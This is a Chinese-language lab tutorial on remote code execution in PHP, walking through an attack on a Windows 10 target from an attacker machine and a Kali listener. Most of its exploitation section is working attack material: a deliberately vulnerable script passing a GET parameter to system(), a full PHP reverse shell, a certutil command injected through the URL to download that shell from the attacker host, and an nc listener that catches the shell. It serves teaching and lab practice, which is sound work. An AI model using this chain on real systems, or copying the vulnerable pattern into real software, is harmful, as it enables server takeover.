RCE(远程代码执行漏洞)原理及漏洞利用
前言
作用:
RCE 漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
原理:
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。 现在很多的企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。在这种平台上往往会出现远程系统命令执行的漏洞。 远程代码执行 同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。 因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。
系统命令执行函数
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()windows系统命令拼接方式
“|”:管道符,前面命令标准输出,后面命令的标准输入。例如:help |more
“&” commandA & commandB 先运行命令A,然后运行命令B
“||” commandA || commandB 运行命令A,如果失败则运行命令B
“&&” commandA && commandB 运行命令A,如果成功则运行命令BRCE漏洞复现
环境说明:
靶机:Win 10 IP:192.168.75.131
攻击机:Win11 IP:192.168.110.203
get shell机:Kali IP:192.168.75.129
%E5%8E%9F%E7%90%86%E5%8F%8A%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8image-20260623225521713.png)
复现过程
靶机创建文件:1.php
<?php
header("Content-Type: text/html; charset=utf-8");
error_reporting(0); //禁用错误报告
$a = $_GET["a"];
system($a);
?> %E5%8E%9F%E7%90%86%E5%8F%8A%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8image-20260623221254857.png)
攻击机访问靶机的1.php并传入参数 a 执行 ipconfig 命令,可以看到,命令被执行,返回靶机IP
%E5%8E%9F%E7%90%86%E5%8F%8A%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8image-20260623221632889.png)
漏洞利用
攻击机创建1.txt
<?php
set_time_limit(0);
$ip="192.168.75.129"; #kali ip
$port=3939;
$fp=@fsockopen($ip,$port,$errno,$errstr);
if(!$fp){
echo "error";
}
else{
fputs($fp,"\n++++++++++connect success++++++++\n");
while (!feof($fp)) {
fputs($fp,"shell:");//输出
$shell=fgets($fp);
$message=`$shell`;
fputs($fp,$message);
}
fclose($fp);
}
?>%E5%8E%9F%E7%90%86%E5%8F%8A%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8image-20260623223450841.png)
攻击机中访问,使用cmd中的certutil命令将攻击机内上传的1.txt文件下载到靶机内并命名为2.php (注意关闭防火墙)
http://192.168.75.131/1.php?a=certutil -urlcache -split -f http://192.168.110.203/1.txt 2.php%E5%8E%9F%E7%90%86%E5%8F%8A%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8image-20260623223205867.png)
使用kali的nc监听3939端口
nc -lvvp 3939%E5%8E%9F%E7%90%86%E5%8F%8A%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8image-20260623222626300.png)
访问靶机内的2.php
%E5%8E%9F%E7%90%86%E5%8F%8A%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8image-20260623223254999.png)
监听成功,成功get shell
%E5%8E%9F%E7%90%86%E5%8F%8A%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8image-20260623223753917.png)
